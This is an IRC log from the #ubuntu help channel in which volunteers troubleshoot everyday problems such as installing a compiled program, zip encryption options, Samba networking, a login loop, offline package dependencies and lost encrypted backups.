[05:40] <KI7MT> raving, I believe, when I re-built as 12.04 NV box last, 319 was recommended, I also installed dkms before installing the restricted drvs.
[05:42] <raving> KI7MT, well it appeared to be working before I did bumblebee, not sure what I did wrong
[05:42] <raving> I guess I can throw a symlink into the modules directory for now
[05:43] <raving> BRB
[05:46] <ogkush> hello - im looking for the location of the file that keeps the order of the icons in the unity launcher --- when you use deja dup to restore a machine from backup, the icon placement in the launcher is restored as well, so it has to be some where
[05:47] <ogkush> it could be a folder too but ~/.local/share/applications isnt it
[05:48] <SupaSol> hello here
[05:49] <Ofek> hello all
[05:49] <Codex_> hey
[05:49] <Codex_> dont worrie my problem is unfixable lol
[05:49] <Ofek> any of u use pkgsrc?
[05:49] <Codex_> whats that?
[05:50] <Ofek> like apt-get
[05:50] <qin> Oh, I have new gray hair, you still molesting Whonix, Ofek?
[05:50] <Codex_> so a package manager?
[05:50] <Ofek> yup lol
[05:50] <qin> haha
[05:50] <Codex_> nope what PPA's does it have?
[05:58] <Ofek> back
[05:59] <Ofek> I'm using pkgsrc b/c proxychains is maintained on it
[05:59] <Ofek> apt-get only has v3
[06:01] <qin> Ofek: 3.1 raring to be precise
[06:01] <Ofek> I have a question
[06:02] <Ofek> I'm in /usr/pkgsrc/wip/proxychains
[06:02] <Ofek> did bmake install
[06:03] <k-joseph> hi, guys, i yesturday manually installed tomcat7 and yet i had installed tomcat6 via package manage, on ubuntu 12.04 LTS  and now starting my pc is failing, when i enter the password, it restarts automatically, is this the cause?
[06:03] <Ofek> it finished, but when I type proxychains
[06:03] <Ofek> The program 'proxychains' is currently not installed.  You can install it by typing: apt-get install proxychains proxychains: command not found
[06:04] <dr_willis_> k-joseph:  you mean you login at the lighdm screen  - it returns to the lightdm screen? can you login at the console?
[06:04] <Ofek> bmake install succeeded though
[06:04] <dr_willis_> Ofek:  use a proper path to the  binary.
[06:04] <dr_willis_>   ./whatever
[06:04] <Ofek> oh ok
[06:04] <dr_willis_> the current directory is NOt in your default PATH
[06:05] <k-joseph> dr_willis_: thanks for replying, i will try it out, yet when i login, it returns the login screen again
[06:05] <dr_willis_> k-joseph:  login at the console. see if that works
[06:05] <qin> Ofek: still I do not really understang why you would not install Ubuntu, tor, proxychains, vpn, etc.. to make yours life easy?
[06:06] <Ofek> there a way to bind the path to simply 'proxychains'?
[06:06] <dr_willis_> Ofek:  set your default path. or install it to somewhere in your path
[06:06] <dr_willis_> or make an alias
[06:06] <dr_willis_> or script
[06:07] <Ofek> so, in home/user I should have installed it?
[06:07] <Fudus> or just dump it all in /usr/local/bin :P
[06:07] <k-joseph> dr_willis_: dr_willis_: what is the cause of such  an issue, if not what i was thinking, am soon going to login at console :)
[06:07] <dr_willis_> your /home/username/bin directory WILL get added to your default path - IF it exists when you login
[06:08] <Fudus> orly, didn't know that
[06:08] <dr_willis_> old skool stuff ;)
[06:10] <Ofek> oops
[06:10] <Ofek> in     /home/user there is no bin
[06:11] <dr_willis_> Ofek:  IF it exits.
[06:11] <dr_willis_> make one
[06:11] <Ofek> so then /usr/local/bin      ?
[06:11] <Fudus> (make it in nautilus)
[06:11] <dr_willis_> no... IF   /home/yourusername/bin exists it will get  added to your default bash PATH
[06:11] <dr_willis_> when you login
[06:12] <dr_willis_> thats how users can havve custome binaries
[06:12] <dr_willis_> no need to mess with system directories
[06:12] <Ofek> I have no   bin in /home/user
[06:12] <dr_willis_> Ofek:   so... MAKE the directory
[06:13] <Ofek> oooooh
[06:13] <Fudus> right click, new folder, bin, enter
[06:13] <Ofek> derp
[06:13] <dr_willis_> ;P
[06:13] <Ofek> sorry
[06:13] <qin> dr_willis_: Just give us a count of recently aquired gray hairs at the end of it...
[06:14]  * dr_willis_ will take bash fundamentaals for  $300 alex.
[06:17] <Ofek> so I did             mv   /usr/pkgsrc/wip/proxychains/work/proxychains    /home/user/bin
[06:17] <Ofek> still says: The program 'proxychains' is currently not installed.  You can install it by typing: apt-get install proxychains proxychains: command not found
[06:18] <Ofek> folder is in bin
[06:18] <Ben64> ~/bin isn't in the PATH until you restart
[06:18] <Ben64> and the executable would need to be there, not a folder
[06:19] <Ofek> does it matter where other files are?
[06:19] <Fudus> wouldn't relogging in be enough?
[06:19] <Ben64> Fudus: maybe
[06:20] <Fudus> you'll need to set it to executable, which you can in properties in nautilus, the file will need to be in the bin folder
[06:20] <dr_willis_> or make a link from it to the proper binary in the  source directoruy. or make a bash alias..
[06:20] <dr_willis_> or make a script.
[06:21] <KI7MT> ln -s and chmod +x  easy way
[06:21] <Ben64> i wasn't here earlier... why not just install it with apt-get ?
[06:21] <Ofek> so I just move the binary to the /home/user/bin folder from installation folder?
[06:21] <dr_willis_> he compil,ed it
[06:21] <qin> Ben64: He is on Whonix
[06:21] <dr_willis_> Ofek:  what isyour users name?  you are using that users name right?
[06:21] <Ofek> apt-get has outdated version
[06:21] <Ofek> user
[06:21] <Ben64> well thats not supported here
[06:21] <KI7MT> did he --prefix/usr/local ?
[06:22] <dr_willis_> your users name is  'user' ? how weird
[06:22] <Ofek> yes
[06:22] <wylde> wouldn't 'sudo make install' install it in the proper directories?
[06:22] <KI7MT> --prefix=/usr/local .. .. ..
[06:22] <Ofek> I thought but it didnt
[06:23] <dwarder> zip error: Invalid command arguments (short option 'Q' not supported)
[06:23] <dwarder> how do i fix this?
[06:23] <KI7MT> If your not up to speed on ./cionfigure && make && make install ... I'd recomend using checkinstall app. make "un"-installing easy.
[06:23] <dwarder> same with GUI version
[06:23] <Ben64> whonix isn't supported here, installing stuff manually isn't either. i don't see why this is even in #ubuntu
[06:23] <dwarder> this option (file names encription) is greyed out
[06:24] <Ben64> dwarder: might help if you explain what you're doing
[06:24] <dwarder> am i need to install something?
[06:24] <dwarder> Ben64: i need to encript file names in my zip archive
[06:24] <KI7MT> Nive how too here: https://help.ubuntu.com/community/CompilingEasyHowTo
[06:24] <KI7MT> Nice ..
[06:24] <dr_willis_> dwarder:  you are extracting an archive?
[06:25] <Fudus> Ofek:  if you're compiling from source, make install will set it up for you, i thought it was a script
[06:25] <dwarder> dr_willis_: i am creating one
[06:25] <dwarder> dr_willis_: at least trying to
[06:25] <Ben64> dwarder: like give us the full command and error in a pastebin
[06:25] <dr_willis_> could b e not all options are supported.
[06:25] <dwarder> Ben64: zip error: Invalid command arguments (short option 'Q' not supported) with this command: zip -Q0 -Pmypasss file.zip files
[06:26] <Ofek> whats the difference between bmake & make?
[06:26] <qin> Fudus: He is trying his forces with pkgsrc on Whonix
[06:26] <Ben64> Ofek: whonix is not supported here, sorry
[06:26] <dr_willis_> never even heard of whonix.
[06:26] <Ben64> i had to google it. its debian based, not even an ubuntu derivative
[06:27] <Ofek> not asking about anything Whonix related
[06:27] <qin> Ofek: Latest Ubuntu package you are after, install Ubuntu and use apt-get: http://packages.ubuntu.com/raring/proxychains
[06:27] <Ben64> Ofek: there is a #linux channel for general linux stuff
[06:27] <Ben64> #ubuntu is for ubuntu support only
[06:27] <Fudus> the packages are old, he wants to compile it from source to install i think
[06:28] <Ofek> just wondering...
[06:28] <Ofek> whats the difference between bmake & make?
[06:28] <Ofek> then I'll leave lol
[06:28] <Ben64> look at the man pages
[06:29] <KI7MT> bmake v.s. make  could be an all day discussion :-)
[06:29] <Fudus> it is another version of make like cmake i assume
[06:29] <qin> Fudus: It is one of the latest. 3.1-5
[06:29] <ObrienDave> Ofek, careful, you'll irritate the "that's not supported here" police LOL
[06:29] <dr_willis_>  *make
[06:30] <Ofek> I see lol tyvm all, take care!
[06:30] <duoi> hi all
[06:31] <duoi> i want to utilize both sound ports on my PC (ie green+blue) to get some sort of quadraphonic sound going but I cant find any setting to enable it, any ideas?
[06:31] <Ben64> dwarder: well... zip doesn't appear to have a -Q option
[06:31] <qin> helloooo: One more crappy spam on pm please.
[06:32] <reisio> it's for DOS
[06:32] <reisio> since zip is cross-platform, it has some platform-specific switches
[06:32] <KI7MT> zip has a -q option, not a -Q option.
[06:33] <KI7MT> -q = quiet
[06:33] <ObrienDave> duoi, i think one of those "ports" is for a microphone
[06:33] <reisio> KI7MT: it has both, but I wouldn't be surprised if Ubuntu stripped the -Q, as it won't work anyways
[06:34] <duoi> ObrienDave: the microphone has a dedicated 'pink' colored input
[06:34] <ObrienDave> ok, wasn't sure
[06:35] <duoi> ObrienDave: yep, this is what it looks like for reference: http://www.learning-about-computers.com/tutorials/images/audio_ports.jpg
[06:36] <KI7MT> Hmm I stand corrected, never used -Qn before ..
[06:38] <jajau> who have some expirience with mysql cluster ?
[06:38] <reisio> various people
[06:39] <ObrienDave> duoi, ok, looks like the top (blue) is for line in.
[07:06] <coolot> Hi people. ubuntu newbie here. can you please help me about this error "failed to retrieve share list from server"? i am only using an ethernet cable. i have no modem nor router. i already installed samba (sudo apt-get install samba) at smb client (sudo apt-get install smbclient) on both desktop and netbook machines
[07:08] <ObrienDave> coolot, that might be a problem on the server end. wait a bit and try again
[07:08] <wachpwnski> hello
[07:09] <wachpwnski> So I got my HDMI audio device to be recognized with doing this: https://wiki.ubuntu.com/Audio/UpgradingAlsa/DKMS
[07:09] <coolot> ObrienDave :  which will be the server? the desktop or the netbook? sorry for the dumb question. i am very new ubuntu/linuz user
[07:10] <wachpwnski> But the audio that comes out of it is really scratchy
[07:11] <coolot> ObrienDave : i also ran findsmb on both machines and my netbook is showing that the desktop's ip address but when i ran it on desktop itis showing only its own ip address not with the netbook machine
[07:12] <clue_h> !gnome-panel
[07:13] <ObrienDave> coolot, are you using a crossover cable?
[07:14] <coolot> ObrienDave : i think so. i pinged both ip addresses and it was successful
[07:14] <moorvogi> quit
[07:14] <moorvogi> part
[07:14] <moorvogi> bahh
[07:16] <coolot> ObrienDave : Desktop's ip address is 10.0.0.1 and netbook's is 10.0.0.2 both have 255.255.255.0
[07:17] <ObrienDave> dang, sorry, I don't know a thing about samba
[07:17] <coolot> thank you for trying
[07:18] <FlashSoul> Out of curiosity, how do your computers know eachother? You have no router, is one of them running a DHCP server?
[07:19] <ObrienDave> let me ask if this is the same cable you use to connect to a router?
[07:20] <coolot> FlashSoul : i am just using an ethernet cable. i got it from a modem to lan card connection
[07:21] <coolot> and i am not sure if i already configured my DHCP and i don't know how to answer which of them is the DHCP server
[07:21] <coolot> ObrienDave : i got it from a modem to lan card connection
[07:22] <coolot> and i think it works find because both machines can ping each other successfully
[07:22] <ObrienDave> if you're only using an ethernet cable to connect 2 comps, it MUST be a crossover cable
[07:24] <helmut_> hi
[07:25] <Kartagis> any idea why google-chrome would run youtube videos at twice their speed audio-wise?
[07:26] <vlitomsk> Hi everybody! Yesterday I had such problem: all windows became 'frozen', there was 'ls: command not found' in terminal. After first reboot, I successfully logged in, but got the same thing. And now, after second reboot, Linux came into single-user mode, and proposed me to enter root password.
[07:26] <coolot> yep i think i am using the cross over cable
[07:26] <vlitomsk> Somehow I logged in to my user, and wrote this message.
[07:26] <vlitomsk> How could I fix it? Help me please
[07:27] <vlitomsk> P.S. sorry for my RUnglish
[07:27] <recreate> Easy question: how can I set lynx as the default browser?
[07:28] <KI7MT> recreate, sudo update-alternatives --config x-www-browser
[07:29] <recreate> That doesn't list lynx as an option.
[07:29] <KI7MT> If it's installed it should.
[07:30] <ivotkl> Hello everyone, I'd like to know if there is a nice forum reader on Ubuntu.
[07:30] <ivotkl> *for Ubuntu.
[07:30] <jnor> hello I get the error "Mount is denied because the NTFS volume is already ezcluseively opened" error, when mounting usb disk. I only get this error on one of my computers! What can I do ?
[07:30] <klasa2b18> Siema
[07:30] <klasa2b18> Nuuub
[07:30] <qin> !pl | klasa2b18
[07:30] <snkt> hiii
[07:30] <ivotkl> jnor, Hello. According to what it says there, disk might be already mounted.
[07:31] <klasa2b18> Idioci buhahahaha
[07:31] <klasa2b6> sij bombe
[07:31] <jnor> ivotkl okay, can I track down the mount point somehow?
[07:31] <bazhang> klasa2b18, stop that
[07:31] <snkt> on ubuntu 11.10 for cups.... i am getting "lpinfo : Internal Server Error"
[07:31] <Miechu> Hello guys
[07:31] <klasa2b6> hello bejbe
[07:31] <recreate> Is there some way to edit the list of default browsers? Mine only lists firefox and chromium.
[07:32] <cycek> gówno
[07:32] <snkt> hello Miechu recreate
[07:32] <ivotkl> Hello Miechu.
[07:32] <Miechu> buhahahaha
[07:32] <cycek> lubie placki
[07:32] <ivotkl> snkt: Hello. Have you tried re-configuring the service via website?
[07:32] <vlitomsk> cycek, пиздуй домой
[07:32] <snkt> what is the cause of "lpinfo : Internal Server Error"
[07:33] <snkt> hello ivotkl
[07:33] <snkt> i have reinstall cups..
[07:36] <KI7MT> recreate, Look into app called SurfRaw .. it's allows you to set defaults, for both Graphical and Text.
[07:37] <recreate> lol at surfraw written by julian assange........
[07:37] <recreate> v nice
[07:37] <KI7MT> recreate, SurfRaw Info: http://surfraw.alioth.debian.org/
[07:37] <vlitomsk> Why does Linux switch into single user mode without special kernel parametres?
[07:38] <vlitomsk> I had some troubles with root FS before booting
[07:39] <gordonjcp> vlitomsk: there will be some error messages before it enters single-user mode
[07:39] <vlitomsk> gordonjcp, in dmesg?
[07:39] <gordonjcp> vlitomsk: or on the console
[07:39] <Haunt_House> hi, how do I efficiently install a package without internet connection? samba is broken, so my desire to transfer one file at a time per usb stick is somewhat limited. Is there a way to get a list of needed dependencies?
[07:40] <bazhang> Haunt_House, packages.ubuntu.com
[07:40] <bazhang> Haunt_House, or use aptoncd
[07:40] <KI7MT> vlitomsk, it probably caused some sort of kernel-panic and defaulted to single user mode, dmesg is a goo place to look fer the possible cause
[07:40] <ivotkl> Haunt_House: Perhaps the following link helps: http://askubuntu.com/questions/128524/how-to-list-package-dependees-reverse-dependencies .-
[07:40] <bazhang> !aptoncd | Haunt_House
[07:41] <bazhang> vlitomsk, did you mean low graphics mode, and unity fails to launch? that would be a graphics card driver issue then
[07:42] <Haunt_House> ubottu: nice, but since I don't have installed dependencies for that machine, it won't work.  ivotkl sounds like the right track
[07:42] <ivotkl> LOL
[07:42] <vlitomsk> bazhang, i've disabled lightdm half year before
[07:42] <Haunt_House> ok, I won't
[07:42] <vlitomsk> bazhang, i see it in TTY console. It proposes me to enter root password
[07:43] <bazhang> vlitomsk, thats not right. there is no root pw enabled, unless you did it intentionally
[07:43] <KI7MT> Haunt_House, You could do a build-dep --download-only, then xfer to the box with the issue.
[07:43] <vlitomsk> bazhang, I always set root password after installation
[07:44] <Kartagis> do you guys know of a broken link checker that can work behind a CAS?
[07:44] <bazhang> vlitomsk, thats a huge mistake right there
[07:44] <KI7MT> yep .... root can cause issues unless you know exactly what your doing.
[07:44] <vlitomsk> bazhang, why? Ubuntu worked fine with set root password
[07:45] <bazhang> vlitomsk, sounds like you are having big issues now, never set the root pw, use sudo -i for a root shell if you absolutely must
[07:45] <Haunt_House> is it possible to download all dependencies of a package in one go?
[07:45] <Ben64> vlitomsk: why even set a root password? it's never necessary
[07:45] <Haunt_House> haven't found that so far
[07:46] <KI7MT> vlitomsk, RootSudo Info: https://help.ubuntu.com/community/RootSudo
[07:46] <bazhang> Haunt_House, aptoncd , sure
[07:46] <vlitomsk> Thank you, but what about my issue with single mode ?
[07:47] <vlitomsk> I have never saw it before
[07:47] <Will1> Hello
[07:47] <Will1> My toshiba satellite laptop is overheating
[07:47] <Will1> i've found many threads but they are all over the place
[07:48] <Haunt_House> bazhang: bazhang which is the very same problem. how many missing dependencies do i have to install to install aptoncd? I'm on 64kbit and I have no network with the target pc because samba is broken by default
[07:48] <Will1> i think the problem is with the ATI Radeon graphics card, and the open source driver
[07:48] <Will1> but i don't know how to fix
[07:49] <KI7MT> You dont need Samba to connect to the Target PC, use SSH.
[07:50] <k-joseph_> hi guys, i have been here already over this issue some time before, when i try login, am returned to the same login page, am running ubuntu 12.04 LTS, i was advised to try console login, i have done this but again when i tried normal login, i faced the same issue, how can i solve this?
[07:50] <Haunt_House> KI7MT: last time i tried, it wouldn't open a folder
[07:51] <Ben64> k-joseph_: try logging in as guest
[07:51] <Haunt_House> and I'm no network guru, so ssh means nothing to me yet
[07:51] <Ben64> !ssh
[07:51] <k-joseph_> Ben64: i have tried it as well and still returned to the login page
[07:53] <Haunt_House> is that pre installed on 12.04?
[07:56] <Haunt_House> isn't there a simple commandline parameter to list missing packages?
[07:57] <KI7MT> Haunt_House, apt-rdepends --build-depends <package-Name>
[07:57] <Haunt_House> thanks
[07:58] <KI7MT> Haunt_House, or better yet: apt-rdepends --build-depends --print-state openoffice.org | grep <package-name>
[07:58] <Haunt_House> all of that?
[07:58] <KI7MT> Haunt_House,  Example: --> apt-rdepends --build-depends --print-state openoffice.org | grep NotInstalled
[07:59] <KI7MT> where open-office is the name of the package you want to know about, open-office, xterm, ssh etc etc
[08:00] <Haunt_House> ththe program apt-rdepends is not installed
[08:00] <dr_willis> so install it.
[08:01] <Haunt_House> dr_willis: my whole problem is that it's very hard to collect the files to install something here, so, install something to install something to install something doesn't make it much easier
[08:02] <KI7MT> Haunt_House, another way: apt-get -s build-dep <package-name>
[08:02]  * Haunt_House tries
[08:02] <KI7MT> Haunt_House, then, apt-get -d build-dep <package>  .. the -d shoudlk download the packages, not install them.
[08:03] <Haunt_House> it complains about missing source uris
[08:03] <meet> can i install any linux to a logical partition?
[08:03] <Haunt_House> can I do that for a specific file?
 is the specific file, what file is it your trying to install on the other machine?
[08:05] <Haunt_House> zynaddsubfx
[08:05] <Hounddog> good morning, i just upgraded and now i seem to have problems with iptables... iptables v1.4.12: can't initialize iptables table `nat': Table does not exist (do you need to insmod?)
[08:06] <a13182_> mj
[08:07] <a13182_> aá
[08:07] <alcolico> ola
[08:07] <kaka> ola
[08:07] <alcolico> fix
[08:07] <alcolico> kaka
[08:07] <kaka> miguel gay
[08:07] <a13182_> mjmjmmjmjmjjjm
[08:07] <alcolico> miguel gayolas
[08:07] <KI7MT> Haunt_House, http://paste.ubuntu.com/6122915/
[08:08] <ivotkl> See you guys. It's been a pleasure
[08:08] <ivotkl> See you guys. It's been a pleasure.
[08:10] <Haunt_House> thank you for your help, but it complains about missing uris, maybe I get the path wrong
[08:10] <KI7MT> Haunt_House, that is on my machine you need to run it on yours: apt-get -s build-dep zynaddsubfx
[08:10] <Haunt_House> it doesn't know what zynaddsubfx is
[08:10] <Haunt_House> this machine has never heard of that package
[08:10] <dr_willis> !info zynaddsubfx
[08:11] <Haunt_House> the pc im typing on isnt the one to install to
[08:11] <KI7MT> The best way to solve this is, SSH to the Target machine and run the install from there.
[08:12]  * Haunt_House types into the terminal: dear pc, please ssh to my eeepc so you can install easily, pwetty pwease
[08:12] <KI7MT> Haunt_House,  you've created pandora's box, we have no way of getting the current package information from the target machine, without having some level of access to it.
[08:14] <Haunt_House> KI7MT: I have the most impotant file there, but if I try to install it, ubuntu software center tells me one problem at a time, so I wonder why it's so hard to tell me all of them at once
[08:15]  * Haunt_House searches for the sources.list
[08:16] <KI7MT> Baz gave you options, I've given you three options, you need to pick which one suits you best.
[08:16] <ikonia> KI7MT: what's the actual issue, it doesn't seem clear from your explination
[08:17] <bazhang> Haunt_House, it's in /etc/apt/
[08:17] <Haunt_House> thank I have it open
[08:17] <bazhang> Haunt_House, and PLEASE stop with the /me , it just adds noise
[08:17] <Haunt_House> can I put local file paths in there? I try to show apt-get a way to that .deb
[08:18] <ikonia> Haunt_House: don't try to install that way - it will cause dependency problems that you'll take a long time to fix
[08:18] <KI7MT> ikonia, He's trying to build a dep list frm one machine, and transfer it to a second machine to install packages, but the deps are misssing on the second machine.
[08:18] <Haunt_House> bazhang: why? is /me is that worse than a normal line?
[08:18] <ikonia> right, so "why" are they missing on the second machine
[08:19] <ikonia> it's pointless to do anything until you understand why they are missing
[08:19] <Haunt_House> ikonia: because it's a default ubuntu install without internet access
[08:19] <ikonia> Haunt_House: ah, so it can't access any of the repos, fine then
[08:19] <bazhang> Haunt_House, its not a question, it's just adding noise, so yes. just talk normally as everyone else here does
[08:20] <Haunt_House> bazhang: it's also an explanation what I'm doing so someone can guide me. it's not like I said I'm running around in circles screaming
[08:20] <Haunt_House> let's stop meta discussions for now, thats the real noise
[08:23] <IdleOne> no you were just talking to your computer, it was needless commentary and just added noise to the channel. Try folliwing the suggestions of how to behave in the channel and perhaps you will spend less time wasting time.
[08:25] <speaker1234> is there any way to recover the encryption password for backup?  or even if I used a password?
[08:25] <ikonia> speaker1234: how did you encypt ?
[08:25] <ikonia> encrypt ?
[08:25] <Haunt_House> no, I didn't tell my computer that I'm searching, I was telling the people helping me, but be it as it may, half of the suggestions don't work, the other half I don't understand the third half I haven't installed. sorry to be a pain, tu misunderstand and to be misunderstood
[08:26] <speaker1234> using the built in encryption for backup
[08:26] <ikonia> speaker1234: which backup tool did you use ?
[08:26] <k-joseph> am not sure but i remember yesturday editted /etc/environment file, and now i can login on console but when i try on lightdm login screen, it takes me back to the same login screen, would this be the cause and if not what is it and what is the possible solution?
[08:26] <speaker1234> the default for 12.04
[08:26] <ikonia> speaker1234: how did you launch it ?
[08:26] <speaker1234> duplicity??
[08:26] <speaker1234> from the desktop and let it use it;s own scheduler
[08:26] <ikonia> k-joseph: what did you change in /etc/environment
[08:27] <ikonia> speaker1234: then no, if you've encypted it from there, no
[08:27] <speaker1234> figured
[08:27] <speaker1234> lost lost my lasy years worth of backups
[08:28] <speaker1234> next time, no encryption
[08:28] <KI7MT> speaker1234, normally, you can tell if it's encrypted by the error, from like tat or gedit or whatever app you used to try and open it, it will say file-format unknown or something similar.
[08:29] <speaker1234> let me try that before I give up totally
[08:29] <Semen_Dickman> How do i uninstall ubuntu
[08:30] <speaker1234> they all end in gpg
[08:30] <speaker1234> so, hard lesson learned
[08:31] <speaker1234> never encrypt without writing the password on the drive with a sharpie marker
[08:31] <KI7MT> speaker1234, I do my keys this way: openssl enc -in <some-key.tar.xz> -aes-256-cbc -d | tar -xJvf -  but you'll need the PW
[08:32] <speaker1234> the problem is I can't remember passwords much of the time
[08:33] <KI7MT> Another hint, save a plain text file along with the enc files, with PW hints, but don't make it easy to guess :-)
[08:33] <speaker1234> I use the same 2-3 passwords With minor variants almost everywhere.
[08:33] <Rory> speaker1234: If you encrypted your backups with a strong password and forgot it, you are 100% out of luck becaue that's the point of the encryption. Sorry :\
[08:34] <Haunt_House> IdleOne: Now I understand what line you mean. not the last one, but the one before that. true, I shouldn't have worded my frustration about getting advice I can't possibly understand in that form. won't happen again
[08:34] <KI7MT> Yeah. governments can "maybe" crack the PW, but not us low hanging fruit :-)
[08:34] <speaker1234> Rory: I know that's the whole point of encryption. Where it fails is usability just like almost every other security measure we have in our toolbox
[08:35] <speaker1234> Anyway, thank you for your help and I think it's time for me to get some sleep. I've just that the past 36 hours trying to recover data including and I am beat. I have some data I can use but the vast majority is just gone.
[08:35] <ikonia> Haunt_House: please give it a rest, ask for help with problems/issues - stick with that please.
[08:36] <k-joseph> ikonia: i changed the PATH, and added new values, of JAVA_HOME, JRE_HOME and PATH, originally, there was only the PATH value
[08:37] <ikonia> jzionk: ok, so JAVA_$ wouldn't change, that what did you do to the PATH
[08:37] <KI7MT> speaker1234, another Oh-Boy, is deleting the Secret-Key to the GPG pair, then your really outta lock cuz ya can't even revoke the pair without it.
[08:38] <KI7MT> .. PGP .. not GPG
[08:38] <Haunt_House> ikonia: I did until I got attacked. I'm not here to cause trouble and won't say another word, I stay quiet. since even an apology is a disturbance. goodbye
[08:38] <speaker1234> Oh I know that really well. I think I've left behind me over the years something like 20 now dead PGP keys, and I think something like 50 or 100 dead SSH keys
[08:38] <k-joseph> ikonia: i remember ther was a value that i completely changed while installing tomcat7
[08:38] <ikonia> Haunt_House: ok, bye
[08:39] <ikonia> k-joseph: can you show me the value of your PATH in /etc/environment
[08:39] <speaker1234> I really need some sleep.
[08:39] <speaker1234> thanks and later...
[08:40] <KI7MT> speaker1234, Yeah, I have this in my create scripts now: gpg --output revoke.asc --gen-revoke mykey   .. so whne I make one, I can revoke it too L-)'
[08:40] <k-joseph> ikonia: am in different environment, windows, but it is a small value, i replaced the long the long path that was originally,
[08:40] <ikonia> k-joseph: yes, that could be the problem
[08:41] <ikonia> k-joseph: that long path is needed,
[08:41] <kervan> Hello, I was trying to install sqlite3, but now there is some dependency problem, aptitude wants to remove libqt* libx* and libcurl* etc... Must I remove them? Here is the list what aptitude wants to do : http://pastebin.com/UGw68jWn
[08:41] <k-joseph> ikonia: how can i add the previous value that i can not get my self
[08:42] <ikonia> k-joseph: well, if I can see your path, we can work out what's missing
[08:42] <ikonia> kervan: that seems unrealistic for just installing sqlite3
[08:44] <kervan> ikonia: Yes, I have tried to install sqlite after trying to install rescuetime, rescuetime depends on sqlite3.
[08:44] <Haunt_House> just one last question, is there another channel where I might find an answer to my problem on how to list dependencies?
[08:44] <ikonia> Haunt_House: no
[08:44] <kervan> Here is what I wanted to install : https://www.rescuetime.com/setup/installer?os=amd64deb
[08:44] <ikonia> Haunt_House: this is the official ubuntu channel - there are other linux generic channels
[08:44] <ikonia> kervan: long shot questions, but do you have any PPA's / 3rd party repos installed ?
[08:45] <KI7MT> kervan, here's a dep list from bare-bones server, your list seems excessively long: http://paste.ubuntu.com/6123027/
[08:48] <kervan> ikonia: KI7MT : here is my sources list : http://pastebin.com/VrLaX6FR
[08:48] <kervan> I think it is OK
[08:48] <ikonia> kervan: that doesn't look good to me
[08:49] <ikonia> that looks just the opposite
[08:49] <KI7MT> Lets start from the beginning, what happened and what did you do afterwards
[08:51] <vedic> Hey guys, not ubuntu question but based on your experience: can you suggest tool for drawing client-server communication diagram like this: http://fresherstep.blogspot.in/2011/08/tcp-server-communication-udp-client.html
[08:53] <KI7MT> vedic, http://www.graphviz.org/
[08:53] <kervan> KI7MT: first downloaded rescue time, then tried to install it #dpkg -i rescuetime.deb, then I saw that it has dependencies on sqlite3, then I tried to install sqlite3 #aptitude install sqlite3 , thats all what I have done.
[08:53] <kervan> ikonia: what do I need to do for the sources file?
[08:53] <ikonia> kervan: apt-cache politcy sqlite
[08:54] <ikonia> kervan: I'm wondering if sqllite is actaully coming from the ubuntu repo but instead of of your 3rd parties, which is why it's trying to remove so much that it really shouldn't
[08:54] <ikonia> sqlite3 sorry
[08:55] <vedic> K17MT: Thank you
[08:56] <KI7MT> It's in Main .. shouldn't need the .deb pkg for install.
[08:57] <ikonia> KI7MT: what's in main
[08:58] <KI7MT> sqlite3  .. why use the .deb if it's in ub repos?
[08:58] <ikonia> KI7MT: he's not using a deb to install sqlite
[08:58] <ikonia> KI7MT: he's using it to install a 3rd party that depends on sqlit, he's trying to install sqlite from main - but it's saying it needs to remove abotu 30 pacakges
[08:58] <KI7MT> Oh .. shoot my bad, was rescuetime.deb ..
[09:03] <SecretFire> is there a program i can install to transfer mp3 files via a ip address?
[09:03] <ikonia> SecretFire: ftp/scp/sftp many options
[09:03] <SecretFire> ikonia : so how do i use ftp when it says no route to host
[09:04] <ikonia> SecretFire: what command are you using exactly
[09:04] <SecretFire> ftp <ipaddress>
[09:04] <ikonia> SecretFire: what is the IP address, is it a routeable address
[09:05] <SecretFire> ikonia : 77.181.126.3
[09:05] <ikonia> SecretFire: ok, so that should be routeable, that's a public interenet address
[09:06] <ikonia> SecretFire: so is this machine able to access the public internet ?
[09:06] <SecretFire> ikonia : I have the port number too
[09:06] <SecretFire> yes it is
[09:06] <ikonia> SecretFire: ok, do you know if that machine is running an ftp server ?
[09:06] <KI7MT> kervan, sri mate, but all I'm fiding on this rescutime.deb SW is problems, and more problems for Linux, seems it's rather news e.g. Beta for the most part.
[09:06] <SecretFire> ikonia : I don't think it is
[09:07] <ikonia> SecretFire: I've just truied to connect to it and it's not running an ftp server
[09:07] <ikonia> SecretFire: so you won't be able to use that
[09:07] <kervan> I could fix my problem by removing rescuetime sqlite and installed all depencies manually.
[09:07] <kervan> Then I could install rescuetime.
[09:07] <SecretFire> its a peer in the nicotine program, and for some reason I cant browse him, I used to be able to, any ideas why?
[09:08] <ikonia> SecretFire no idea, I doubt it's anything to do with ubuntu
[09:08] <kervan> joj helped me on #debian channel. ikonia and KI7MT thank you for all helps.
[09:08] <KI7MT> kervan, well sqlite3 is not the issue fer sure, and removing all those Libs is surely a formula for disaster.
[09:10] <KI7MT> Oh, he's gone, would like to find out what that issue was actually.
[09:10] <ikonia> KI7MT: he was running mint and had screwed the repos
[09:10] <KI7MT> Ahh, I saw a mint url at the top but didn't think much about it.
[09:17] <Ben64> i always have a "crash report detected" on my panel. how can i make those go away forever?
[09:19] <dachary> Hi, I'm booting a server on 12.04.3 and need to disable graphic mode ( stay in text mode always ). Otherwise the screen ( in the datacenter ) that is old complains it cannot handle the resolution
[09:19] <KI7MT> sudo nano /etc/default/apport change enable=0 to enabled=1 ... but ya may want to find out what's causing them first.
[09:19] <tasslehoff> where does core dumps from self-written programs go by default? not to /var/crash it seems
[09:19] <Ben64> dachary: a server should be running server version of ubuntu and not have a screen to begin with
[09:20] <dachary> it is a server version
[09:20] <Ben64> then theres no graphic mode
[09:20] <KI7MT> dachary, Info on Apport: https://wiki.ubuntu.com/Apport
[09:20] <Eigenaar> ben64, framebuffer?
[09:21] <dachary> Ben64: vga mode ?
[09:21] <Ben64> the only thing that should be popping up is a console
[09:21] <dachary> KI7MT: how do you mean ?
[09:23] <dachary> Ben64: I'll check vbeinfo in grub
[09:23] <Ben64> are you sure its a real datacenter
[09:25] <KI7MT> tasslehoff, depends on where you write them too, e.g.  echo "/var/core/core" > /proc/sys/kernel/core_pattern  or if like this: ulimit -c unlimited >/dev/null 2>&1 .. then NULL,, you have ti limit / unlimit them and reditect.
[09:25] <dachary> Ben64: :-)
[09:27] <tasslehoff> KI7MT: currently I have core_pattern set to the default (piping to apport), and just call abort() in my application.
[09:27] <clue_h> why is uBottu oped
[09:28] <tasslehoff> KI7MT: ah, it seems I actually got a file named core in the directory my program is
